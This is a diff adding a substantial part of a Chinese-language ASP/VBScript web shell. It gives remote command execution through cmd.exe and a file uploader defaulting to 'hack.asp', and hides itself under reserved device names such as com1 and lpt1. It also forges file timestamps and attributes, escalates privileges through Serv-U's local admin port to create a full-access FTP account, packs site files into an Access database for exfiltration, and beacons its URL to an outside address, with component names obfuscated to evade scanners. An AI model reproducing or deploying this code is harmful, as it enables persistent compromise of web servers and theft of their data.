+   Counter=Counter+ColorOn(FN)
+ End If
+  Next
+  Set objFd=Nothing
+  Set objFs=Nothing
+  Set objFf=Nothing
+ End Function
+ Private Function CreatePattern(keyword)   
+   CreatePattern=keyword
+   CreatePattern=Replace(CreatePattern,".","\.")
+   CreatePattern=Replace(CreatePattern,"+","\+")
+   CreatePattern=Replace(CreatePattern,"(","\(")
+   CreatePattern=Replace(CreatePattern,")","\)")
+   CreatePattern=Replace(CreatePattern,"[","\[")
+   CreatePattern=Replace(CreatePattern,"]","\]")
+   CreatePattern=Replace(CreatePattern,"{","\{")
+   CreatePattern=Replace(CreatePattern,"}","\}")
+   CreatePattern=Replace(CreatePattern,"*","[^\\\/]*")
+   CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}")
+   CreatePattern="("&CreatePattern&")+"
+ End Function
+ Private Function ColorOn(FileName)
+   dim objReg
+   Set objReg=new RegExp
+   objReg.Pattern=CreatePattern(keyword)
+   objReg.IgnoreCase=True
+   objReg.Global=True
+   retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1))
+   if retVal then
+     OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"<font color='#FF0000'>$1</font>")
+     OutPut="<table align='center' width='600'>&nbsp;" & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut
+  Response.Write OutPut
+  Response.flush
+  ColorOn=1
+   else
+     ColorOn=0
+   end if
+   Set objReg=Nothing
+ End Function
+End Class
+function php():On Error Resume Next:set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"<?PHP echo 'oo∩_∩oo'?><?php phpinfo()?>":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(server.mappath("test.aspx")).Write"oo∩_∩oo":o(hph):End function:function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):o"Del Success!":End function
+
+Sub PageAddToMdb()
+Dim theAct, thePath
+theAct=Request("theAct")
+thePath=Request("thePath")
+Server.ScriptTimeOut=100000
+If theAct="addToMdb" Then
+addToMdb(thePath)
+o "<div align=center><br>操作完成!</div>"&BackUrl
+End If
+If theAct="releaseFromMdb" Then
+unPack(thePath)
+o "<div align=center><br>操作完成!</div>"&BackUrl
+Response.write ""
+Response.end
+End If
+o(asds)
+End Sub
+Sub addToMdb(thePath)
+On Error Resume Next
+Dim rs, conn, stream, connStr, adoCatalog
+Set rs=Server.CreateObject("ADODB.RecordSet")
+Set stream=Server.CreateObject(Sot(6,0))
+Set conn=Server.CreateObject(Sot(5,0))
+Set adoCatalog=Server.CreateObject(Sot(2,0))
+connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HSH.mdb")
+adoCatalog.Create connStr
+conn.Open connStr
+conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
+stream.Open
+stream.Type=1
+rs.Open "FileData", conn, 3, 3
+If Request("theMethod")="fso" Then
+fsoTreeForMdb thePath, rs, stream
+ Else
+saTreeForMdb thePath, rs, stream
+End If
+rs.Close
+Conn.Close
+stream.Close
+Set rs=Nothing
+Set conn=Nothing
+Set stream=Nothing
+Set adoCatalog=Nothing
+End Sub
+
+sub SetFileText()
+response.write "<form method=post>"
+response.write "路&nbsp;&nbsp;&nbsp;&nbsp;径：<input name=path1 value='"&server.mappath("/")&"\"&"' size='30'>(一定要以\结尾)<br />"
+response.write "文件名称：<input name=filename value='index.asp' size='30'><br />"
+response.write "修改时间：<input name=time value='12/30/2099 12:30:30' size='30'><br />"
+response.write "属性:<select onChange='this.form.shuxing.value=this.value;'><option value=''>普通 </option><option value='1'>只读 </option><option value='2'>隐藏 </option><option value='4'>系统</option><option value='33'>只读,存档 </option><option value='34'>隐藏,存档 </option><option value='35'>只读隐藏,存档 </option><option value='39'>只读隐藏,存档,系统 </option><input name=shuxing value='0' size='10'><br />"
+response.write "<input type=submit value=修改并隐藏文件>"
+response.write "</form>"
+set path=request.Form("path1")
+set fileName=request.Form("filename")
+set newTime=request.Form("time")
+set ShuXing=request.Form("shuxing")
+if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
+Set fso=Server.CreateObject("Scripting.FileSystemObject")
+Set file=fso.getFile(path&fileName)
+file.attributes=shuxing
+Set shell=Server.CreateObject("Shell.Application")
+Set app_path=shell.NameSpace(server.mappath("."))
+Set app_file=app_path.ParseName(fileName)
+app_file.Modifydate=newTime
+o "</br></br>修改文件&nbsp;&nbsp;"&path&fileName&"&nbsp;&nbsp;属性完成 </center>"
+end if
+end sub
+
+sub hiddenshell
+o "<form name=form1 method=post><input type=hidden name=se1 value=hidden1>不死僵尸生成将会生成一个新的文件，重新记录地址<input type=submit name=submit value='不死僵尸超级隐藏'></form>"
+if request("se1")="hidden1" then
+fpath=request.servervariables("path_translated")
+set fso=server.createobject("scripting.filesystemobject")
+pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9"
+rndpex=split(pex,"|")(rndnumber(0,17))
+session("seljw")=""
+filepath1=server.mappath(".")
+filename1=right(fpath,len(fpath)-instrrev(fpath,"\"))
+url=request.servervariables("url")
+url=left(url,instrrev(url,"/"))&rndpex&"."&filename1
+fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1
+set fso=nothing
+o "<script>parent.location='http://"&request("server_name")&url&"';</script>"
+end if
+end sub
+Function RndNumber(Min,Max) 
+Randomize 
+RndNumber=Int((Max - Min + 1) * Rnd() + Min) 
+End Function
+
+
+
+Function fsoTreeForMdb(thePath, rs, stream)
+Dim item, theFolder, folders, files, sysFileList
+sysFileList="$HSH.mdb$HSH.ldb$"
+If Server.CreateObject(Sot(0,0)).FolderExists(thePath)=False Then
+showErr(thePath&" 目录不存在或者不允许访问!")
+End If
+Set theFolder=Server.CreateObject(Sot(0,0)).GetFolder(thePath)
+Set files=theFolder.Files
+Set folders=theFolder.SubFolders
+For Each item In folders
+fsoTreeForMdb item.Path, rs, stream
+Next
+For Each item In files
+If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then
+rs.AddNew
+rs("thePath")=Mid(item.Path, 4)
+stream.LoadFromFile(item.Path)
+rs("fileContent")=stream.Read()
+rs.Update
+End If
+Next
+Set files=Nothing
+Set folders=Nothing
+Set theFolder=Nothing
+End Function
+Sub unPack(thePath)
+On Error Resume Next
+Server.ScriptTimeOut=100000
+Dim rs, ws, str, conn, stream, connStr, theFolder
+str=Server.MapPath(".")&"\"
+Set rs=CreateObject("ADODB.RecordSet")
+Set stream=CreateObject(Sot(6,0))
+Set conn=CreateObject(Sot(5,0))
+connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";"
+conn.Open connStr
+rs.Open "FileData", conn, 1, 1
+stream.Open
+stream.Type=1
+Do Until rs.Eof
+theFolder=Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
+If Server.CreateObject(Sot(0,0)).FolderExists(str&theFolder)=False Then
+createFolder(str&theFolder)
+End If
+stream.SetEos()
+stream.Write rs("fileContent")
+stream.SaveToFile str&rs("thePath"), 2
+rs.MoveNext
+Loop
+rs.Close
+conn.Close
+stream.Close
+Set ws=Nothing
+Set rs=Nothing
+Set stream=Nothing
+Set conn=Nothing
+End Sub
+Sub createFolder(thePath)
+Dim i
+i=Instr(thePath, "\")
+Do While i > 0
+If Server.CreateObject(Sot(0,0)).FolderExists(Left(thePath, i))=False Then
+Server.CreateObject(Sot(0,0)).CreateFolder(Left(thePath, i - 1))
+End If
+If InStr(Mid(thePath, i + 1), "\") Then
+i=i + Instr(Mid(thePath, i + 1), "\")
+Else
+i=0
+End If
+Loop
+End Sub
+Sub saTreeForMdb(thePath, rs, stream)
+Dim item, theFolder, sysFileList
+sysFileList="$HSH.mdb$HSH.ldb$"
+Set theFolder=saX.NameSpace(thePath)
+For Each item In theFolder.Items
+If item.IsFolder=True Then
+saTreeForMdb item.Path, rs, stream
+Else
+If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then
+rs.AddNew
+rs("thePath")=Mid(item.Path, 4)
+stream.LoadFromFile(item.Path)
+rs("fileContent")=stream.Read()
+rs.Update
+End If
+End If
+Next
+Set theFolder=Nothing
+End Sub
+
+u=request.servervariables("http_host")&url
+Function Course()
+SI="<br><table width='80%' align='center'>"
+SI=SI&"<tr><td height='20' colspan='3' align='center' id=s><b>系统用户与服务</b></td></tr>"
+on error resume next
+for each obj in getObject("WinNT://.")
+err.clear
+if OBJ.StartType="" then
+SI=SI&"<tr><td height=""20"" id=d>&nbsp;"
+SI=SI&obj.Name
+SI=SI&"</td><td id=d>&nbsp;系统用户(组)</td></tr>"
+SI0="<tr><td height=""20"" id=d colspan=""2"">&nbsp;</td></tr>" 
+end if
+if OBJ.StartType=2 then lx="自动"
+if OBJ.StartType=3 then lx="手动"
+if OBJ.StartType=4 then lx="禁用"
+if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
+SI1=SI1&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" id=d colspan=""2"">[启动类型:"&lx&"]<font>&nbsp;"&obj.path&"</font></td></tr>"
+else
+SI2=SI2&"<tr><td height=""20"" id=d>&nbsp;"&obj.Name&"</td><td height=""20"" id=d>&nbsp;"&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#3399FF>&nbsp;"&obj.path&"</font></td></tr>"
+end if
+next
+o SI&SI0&SI1&SI2&"</table>"
+End Function
+Function IIf(var, val1, val2)
+If var=True Then
+IIf=val1
+Else
+IIf=val2
+End If
+End Function
+Function GetTheSizes(num)
+Dim i, arySize(4)
+arySize(0)="B"
+arySize(1)="KB"
+arySize(2)="MB"
+arySize(3)="GB"
+arySize(4)="TB"
+While(num / 1024 >= 1)
+num=Fix(num / 1024 * 100) / 100
+i=i + 1
+WEnd
+GetTheSizes=num&" "&arySize(i)
+End Function
+Function HtmlEncodes(str)
+If IsNull(str) Then Exit Function
+HtmlEncodes=Server.HTMLEncode(str)
+End Function
+Sub ShowErr1(str)
+Dim i, arrayStr
+str=Server.HtmlEncode(str)
+arrayStr=Split(str, "$$")
+o "<font size=2 color=red><br/><a href='javascript:history.back()'>出错信息:<br/><br/>"
+For i=0 To UBound(arrayStr)
+o "&nbsp;&nbsp;"&(i + 1)&". "&arrayStr(i)&"(点此返回上页)<br/>"
+Next
+o "</a></font>"
+Response.End()
+End Sub
+Function GetPost(var)
+Dim val
+If Request.QueryString("Action")="PageUpfile" Then
+Action="PageUpfile"
+Exit Function
+End If
+val=RTrim(Request.Form(var))
+If val="" Then
+val=RTrim(Request.QueryString(var))
+End If
+GetPost=val
+End Function
+Sub ChkErr(Err)
+If Err Then
+o "<hr/><font size=2><a href='javascript:history.back()'><li>错误: "&Err.Description&"</li><li>错误源: "&Err.Source&"(点此返回上页)</li></a><br/>"
+Err.Clear
+Response.End
+End If
+End Sub
+Sub PageCheck()
+InfoCheck()
+If request("theAct") <> "" Then
+GetAppOrSession(theAct)
+End If
+ObjCheck()
+End Sub
+Sub InfoCheck()
+Dim aryCheck(6)
+On Error Resume Next
+aryCheck(0)=Server.ScriptTimeOut()&"(秒)"
+aryCheck(1)=FormatDateTime(Now(), 0)
+aryCheck(2)=Request.ServerVariables("SERVER_NAME")
+aryCheck(2)=aryCheck(2)&", "&Request.ServerVariables("LOCAL_ADDR")
+aryCheck(2)=aryCheck(2)&":"&Request.ServerVariables("SERVER_PORT")
+aryCheck(3)=Request.ServerVariables("OS")
+aryCheck(3)=IIf(aryCheck(3)="", "Windows2003", aryCheck(3))&", "&Request.ServerVariables("SERVER_SOFTWARE")
+aryCheck(3)=aryCheck(3)&", "&ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion
+aryCheck(4)=rootPath&", "&GetTheSizes(fso.GetFolder(rootPath).Size)
+aryCheck(5)="Path: "&Request.ServerVariables("PATH_TRANSLATED")&", "
+aryCheck(5)=aryCheck(5)&"Url: "&net&""&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("Url")
+aryCheck(6)="变量数: "&Application.Contents.Count()&"(<a href="&Url&"?Action=PageCheck&theAct=app>Application</a>),"
+aryCheck(6)=aryCheck(6)&" 会话数: "&Session.Contents.Count&"(<a href="&Url&"?Action=PageCheck&theAct=session>Session</a>),"
+aryCheck(6)=aryCheck(6)&" 当前会话ID: "&Session.SessionId()
+aryCheck(6)=aryCheck(6)&" ServerVariables: "&Request.ServerVariables.Count&"(<a href="&Url&"?Action=PageCheck&theAct=serverv>ServerVariables</a>),"
+aryCheck(6)=aryCheck(6)&" Cookies: "&Request.Cookies.Count&"(<a href="&Url&"?Action=PageCheck&theAct=cook>Cookies</a>)"
+o "<br><table width=90% align=center><tr><td colspan=2 id=s align=center><font face=webdings>8</font> <b>服务器基本信息</b></td></tr><tr><td width='15%' id=s><b>Options</font></b></td><td id=s><b>Values</b></td></tr></tr><tr><td height='20' width='200' id=d>服务器名端口</td><td id=d>"&aryCheck(2)&"</td></tr>"
+o"<form method=post action='http://www.ip138.com/ips8.asp?ip="&Request.ServerVariables("LOCAL_ADDR")&"&action=2' name='ipform' target='_blank'><tr><td height='20' width='200' id=d>服务器IP地址</td><td id=d><input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'> <input class=sb type='submit' value='Inquiry IP'><input type='hidden' name='action' value='2'>"
+o"</td></tr></form><tr><td height='20' width='200' id=d>服务器操作系统</td><td id=d>"&Request.ServerVariables("OS")&"</td></tr><tr><td height='20' width='200' id=d>WEB服务器版本</td><td id=d>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr><tr><td id=d>主机默认超时</td><td id=d>"&aryCheck(0)&"</td></tr><tr><td id=d>主机当前时间</td><td id=d>"&aryCheck(1)&"</td></tr><tr><td id=d>主机软件环境</td><td id=d>"&aryCheck(3)&"</td></tr><tr><td id=d>当前据对路径</td><td id=d>"&Server.MapPath("/")&"</td></tr><tr><td id=d>当前文件路径</td><td id=d>"&aryCheck(5)&"</td></tr><tr><td id=d>其它相关信息</td><td id=d>"&aryCheck(6)&"</td></tr></table>"
+End Sub
+function conts(url) 
+on error resume next 
+dim http 
+set http=Server.createobject("Microsoft.XMLHTTP") 
+Http.open "GET",url,false 
+Http.send() 
+if Http.readystate<>4 then
+conts=""
+exit function 
+end if 
+conts=bytes2BSTR(Http.responseBody) 
+set http=nothing
+if err.number<>0 then err.Clear  
+end function 
+Sub ObjCheck()
+Dim aryObj(25)
+Dim x, objTmp, theObj, strObj
+On Error Resume Next
+strObj=Trim(getPost("TheObj"))
+aryObj(0)="MSWC.AdRotator|广告轮换组件"
+aryObj(1)="MSWC.BrowserType|浏览器信息组件"
+aryObj(2)="MSWC.NextLink|内容链接库组件"
+aryObj(3)="MSWC.Tools|"
+aryObj(4)="MSWC.Status|"
+aryObj(5)="MSWC.Counters|计数器组件"
+aryObj(6)="MSWC.PermissionChecker|权限检测组件"
+aryObj(7)="Adodb.Connection|ADO 数据对象组件"
+aryObj(8)="CDONTS.NewMail|虚拟 SMTP 发信组件"
+aryObj(9)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect|FSO组件"
+aryObj(10)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am|Stream 流组件"
+aryObj(11)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion|"
+aryObj(12)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll|"
+aryObj(13)="Wscript.Network|"
+aryObj(14)="ADOX.Catalog|"
+aryObj(15)="JMail.SmtpMail|JMail 邮件收发组件"
+aryObj(16)="Persits.Upload.1|ASPUpload 文件上传组件"
+aryObj(17)="LyfUpload.UploadFile|刘云峰的文件上传组件组件"
+aryObj(18)="SoftArtisans.FileUp|SA-FileUp 文件上传组件"
+aryObj(19)="Microsoft.XMLHTTP|数据传输组件"
+aryObj(20)="ADOX.Catalog|ACCESS建库组件"
+aryObj(21)="JRO.JetEngine|ACCESS压缩组件"
+aryObj(22)="Scripting.Dictionary|数据流上传辅助组件"
+aryObj(23)="Adodb.connection|数据库连接组件"
+aryObj(24)="SmtpMail.SmtpMail.1|SmtpMail发信组件"
+aryObj(25)=strObj&"|Checkd Options By Yourself"
+o "<br/><table width=90% align=center><tr><td colspan=4 id=s align=center><font face=webdings>8</font><B>服务器组件信息</B></td></tr><tr><td id=s><b>Options</b></td><td id=s><b>Description</b></td><td id=s align=center><b>Values</b></td><td id=s><b>Version</b></td></tr>"
+For Each x In aryObj
+theObj=Split(x, "|")
+If theObj(0)="" Then Exit For
+Set objTmp=Server.CreateObject(theObj(0))
+If Err <> -2147221005 Then
+x=x&"|√|"
+x=x&objTmp.Version
+Else
+x=x&"|<font color=red>×</font>|"
+End If
+If Err Then Err.Clear
+Set objTmp=Nothing
+theObj=Split(x, "|")
+if theObj(1)="" then Descriptions="This's No Description" else Descriptions=theObj(1) end if
+if theObj(3)="" then Versions="Can't Get The Option's Version" else	Versions=theObj(3) end if
+o "<tr><td id=d>"&theObj(0)&"</td><td id=d>"&Descriptions&"</td><td align=center id=d>"&theObj(2)&"</td><td align=center id=d>"&Versions&"</td></tr>"
+Next
+o "<form method=post action='"&url&"?Action=PageCheck'><input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct><tr><td colspan=4 id=d height=25><b id=x>Check The Other Options:&nbsp;</b><input name=TheObj type=text id=TheObj style='width:570px;' value="""&strObj&""">&nbsp;<input class=sb type=submit name=Submit value=""Just Go""></td></tr></form></table>"
+End Sub
+function cnost(url) 
+on error resume next 
+dim http 
+set http=Server.createobject("Microsoft.XMLHTTP") 
+Http.open "GET",url,false 
+Http.send() 
+if Http.readystate<>4 then
+getHTTPPage=""
+exit function 
+end if 
+getHTTPPage=bytes2BSTR(Http.responseBody) 
+set http=nothing
+if err.number<>0 then err.Clear  
+end function 
+x="f>f'#0@v>#'v'#'q>#'vtfsqbtt'##"'
+Sub GetAppOrSession(theAct)
+Dim x, y
+On Error Resume Next
+o "<br/><table width=80% border=1 align=center class=fixTable><tr><td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看</td></tr><tr><td colspan=2 class=trHead>&nbsp;</td></tr><tr class=td><td width='20%'>&nbsp;变量</td><td>&nbsp;值</td></tr>"
+If request("theAct")="app" Then
+For Each x In Application.Contents
+o "<tr><td valign=top>&nbsp;<span class=fixSpan style='width:130px;' title='"&x&"'>"&x&"<span></td><td style='padding-left:7px;'><span>"
+If IsArray(Application(x))=True Then
+For Each y In Application(x)
+o "<div>"&Replace(HtmlEncodes(y), vbNewLine, "<br/>")&"</div>"
+Next
+Else
+o Replace(HtmlEncodes(Application(x)), vbNewLine, "<br/>")
+End If
+o "</span></td></tr>"
+Next
+End If
+If request("theAct")="session" Then
+For Each x In Session.Contents
+o "<tr><td valign=top>&nbsp;<span class=fixSpan style='width:130px;' title='"&x&"'>"&x&"<span></td><td style='padding-left:7px;'><span>"
+o Replace(HtmlEncodes(Session(x)), vbNewLine, "<br/>")
+o "</span></td></tr>"
+Next
+End If
+If request("theAct")="serverv" Then
+For Each x In Request.ServerVariables
+o "<tr><td valign=top>&nbsp;<span class=fixSpan style='width:130px;' title='"&x&"'>"&x&"<span></td><td style='padding-left:7px;'><span>"
+o Replace(HtmlEncodes(Request.ServerVariables(x)), vbNewLine, "<br/>")
+o "</span></td></tr>"
+Next
+End If
+If request("theAct")="cook" Then
+For Each x In Request.Cookies
+o "<tr><td valign=top>&nbsp;<span class=fixSpan style='width:130px;' title='"&x&"'>"&x&"<span></td><td style='padding-left:7px;'><span>"
+o Replace(HtmlEncodes(Request.Cookies(x)), vbNewLine, "<br/>")
+o "</span></td></tr>"
+Next
+End If
+o "<tr><td colspan=2 class=trHead>&nbsp;</td></tr><tr align=right><td colspan=2 class=td>By 玩命 2010.04&nbsp;</td></tr></table>"
+End Sub
+
+Function suftp()
+o"<p><center>Serv-U T权程序--增强版</p>"
+o"<form name='form1' method='post' action=''>"
+o"<center>管理员:<input name='duser' type='text' class='TextBox' id='duser' value='LocalAdministrator'><br>"
+o"<center>管理员密码 :<input name='dpwd' type='text' class='TextBox' id='dpwd' value='#l@$ak#.lk;0@P'><br>"
+o"<center>SERV-U端口:<input name='dport' type='text' class='TextBox' id='dport' value='43958'><br>"
+o"<center>添加的用户名:<input name='tuser' type='text' class='TextBox' id='tuser' value='1'><br>"
+o"<center>添加的用户密码:<input name='tpass' type='text' class='TextBox' id='pass' value='1'><br>"
+o"<center>帐号的所对的路径:<input name='tpath' type='text' class='TextBox' id='tpath' value='C:\'><br>"
+o"<center>服务端口:<input name='tport' type='text' class='TextBox' id='tport' value='21'><br>"
+o"<center><input name='radiobutton' type='radio' value='add' checked class='TextBox'>确定添加"
+o"<center><input type='radio' name='radiobutton' value='del' class='TextBox'>确定删除"
+o"<p><input name='Submit' type='submit' class='buttom' value='提交'></p></form>"
+Usr = request.Form("duser")
+pwd = request.Form("dpwd")
+port = request.Form("dport")
+tuser = request.Form("tuser")
+tpass = request.Form("tpass")
+tpath = request.Form("tpath")
+tport = request.Form("tport")
+'Command = request.Form("dcmd")
+if request.Form("radiobutton") = "add" Then
+leaves = "User " & Usr & vbcrlf
+leaves = leaves & "Pass " & pwd & vbcrlf
+leaves = leaves & "SITE MAINTENANCE" & vbcrlf
+'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
+leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _
+"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
+"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
+"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
+"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
+"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
+"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf
+'leaves = leaves & "quit" & vbcrlf
+On Error Resume Next
+Set xPost = CreateObject("MSXML2.XMLHTTP")
+xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True
+xPost.Send(leaves)
+Set xPOST=nothing
+response.write ("命令成功执行！！FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)<br><BR>")
+else
+leaves = "User " & Usr & vbcrlf
+leaves = leaves & "Pass " & pwd & vbcrlf
+leaves = leaves & "SITE MAINTENANCE" & vbcrlf
+leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf
+Set xPost3 = CreateObject("MSXML2.XMLHTTP")
+xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True
+xPost3.Send(leaves)
+Set xPOST3=nothing
+end if
+End Function
+
+Function DownFile(Path)
+Response.Clear
+Set OSM=CreateObject(Sot(6,0))
+OSM.Open
+OSM.Type=1
+OSM.LoadFromFile Path
+sz=InstrRev(path,"\")+1
+Response.AddHeader "Content-Disposition", "attachment; filename="&Mid(path,sz)
+Response.AddHeader "Content-Length", OSM.Size
+Response.Charset="UTF-8"
+Response.ContentType="application/octet-stream"
+Response.BinaryWrite OSM.Read
+Response.Flush
+OSM.Close
+Set OSM=Nothing
+End Function
+Function HTMLEncode(S)
+if not isnull(S) then
+S=replace(S, ">", "&gt;")
+S=replace(S, "<", "&lt;")
+S=replace(S, CHR(39), "&#39;")
+S=replace(S, CHR(34), "&quot;")
+S=replace(S, CHR(20), "&nbsp;")
+HTMLEncode=S
+end if
+End Function
+Function upfile()
+If Request("Action2")="Post" Then
+Set U=new UPC : Set F=U.UA("LocalFile")
+UName=U.form("ToPath")
+If UName="" Or F.FileSize=0 then
+SI="<br>请输入上传的完全路径后选择一个文件上传!"
+Else
+F.SaveAs UName
+If Err.number=0 Then
+SI="<center><br>恭喜文件"&UName&"上传成功！</center>"
+End if
+End If
+Set F=nothing:Set U=nothing
+SI=SI&BackUrl
+o SI
+ShowErr()
+Response.End
+End If
+o "<br><table border='0' align='center'><form name='UpForm' method='post' action='"&URL&"?Action=upfile&Action2=Post' enctype='multipart/form-data'><tr><td id=s colspan=4 align=center><b id=x>Single Upload File</b></td></tr><tr><td id=d><b id=x>Save File：</b></td><td id=d><input name='ToPath' value='"&RRePath(Session("FolderPath")&"\hack.asp")&"' size='40'></td><Td id=d><b id=x>Browse File：</b></td><td id=d><input type='file' name='LocalFile' />&nbsp;<input type='submit' name='Submit' value='Upload File'></td></tr><tr><td id=d colspan=4 align=center>&nbsp;</td></tr></form></table>"
+End Function
+Function Cmd1Shell()
+checked="checked"
+If Request("SP")<>"" Then Session("ShellPath")=Request("SP")
+ShellPath=Session("ShellPath")
+if ShellPath="" Then ShellPath="cmd.exe"
+if Request("wscript")<>"yes" then checked=""
+If Request("cmd")<>"" Then DefCmd=Request("cmd")
+SI="<form method='post'><table width=100% border=0><tr><td id=s align=center><b id=x>System Command</b></td></tr><tr><td id=d><b id=x>Shell Path：</b><input name='SP' value='"&ShellPath&"' Style='width:70%'>&nbsp;&nbsp;<input class=c type='checkbox' name='wscript' value='yes'"&checked&" id=d>WScript.Shell</td></tr><tr><Td id=d><b id=x>Command:&nbsp;&nbsp;</b><input name='cmd' Style='width:70%' value='"&DefCmd&"'> <input type='submit' value='Execute'></td></tr><tr><td id=d><textarea Style='width:100%;height:440;'>"
+If Request.Form("cmd")<>"" Then
+if Request.Form("wscript")="yes" then
+Set CM=CreateObject(Sot(1,0))
+Set DD=CM.exec(ShellPath&" /c "&DefCmd)
+aaa=DD.stdout.readall
+SI=SI&aaa
+else
+On Error Resume Next
+Set ws=Server.CreateObject(Sot(1,0))
+If IsEmpty(ws) Then
+set ws=ws
+End if
+Set fso=Server.CreateObject(Sot(0,0))
+If IsEmpty(fso) Then
+set fso=fso
+End if
+szTempFile=server.mappath("cmd.txt")
+Call ws.Run (ShellPath&" /c "&DefCmd&" > "&szTempFile, 0, True)
+Set fs=CreateObject(Sot(0,0))
+Set oFilelcx=fs.OpenTextFile (szTempFile, 1, False, 0)
+aaa=Server.HTMLEncode(oFilelcx.ReadAll)
+oFilelcx.Close
+Call fso.DeleteFile(szTempFile, True)
+SI=SI&aaa
+end if
+End If
+SI=SI&chr(13)&"</textarea></td></tr></table></form>"
+o SI
+End Function
+
+Function CreateMdb(Path) 
+SI="<br><br>"
+Set C=CreateObject(Sot(2,0)) 
+C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path)
+Set C=Nothing
+If Err.number=0 Then
+SI=SI&Path&"新建成功!"
+End If
+SI=SI&BackUrl 
+o SI
+End function
+Function CompactMdb(Path)
+If Sot(0,1)=" ×" Then
+Set C=CreateObject(Sot(3,0)) 
+C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path
+Set C=Nothing
+Else
+Set FSO=CreateObject(Sot(0,0))
+If FSO.FileExists(Path) Then
+Set C=CreateObject(Sot(3,0)) 
+C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&"_bak"
+Set C=Nothing
+FSO.DeleteFile Path
+FSO.MoveFile Path&"_bak",Path
+Else
+SI="<center><br><br><br>数据库"&Path&"没有发现！</center>" 
+Err.number=1
+End If
+Set FSO=Nothing
+End If
+If Err.number=0 Then
+SI="<center><br><br><br>数据库"&Path&"压缩成功！</center>"
+End If
+SI=SI&BackUrl
+o SI
+End Function
+Dim SearchGroup(127)
+function Cosnt(fasle)
+ dim w
+ w="^w^inhttp.^wi^nhttprequest.5.1"
+ fasle=replace(trim(fasle),vbcrlf,"")
+ on error resume next
+ set http= CreateObject(replace(w,"^",""))
+ http.open "POST",fasle,false
+ http.SetRequestHeader "REFERER", ""&net&""&request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL")
+ http.send
+ Set http=Nothing
+end function
+
+Dim T1
+Class UPC
+Dim D1,D2
+Public Function Form(F)
+F=lcase(F)
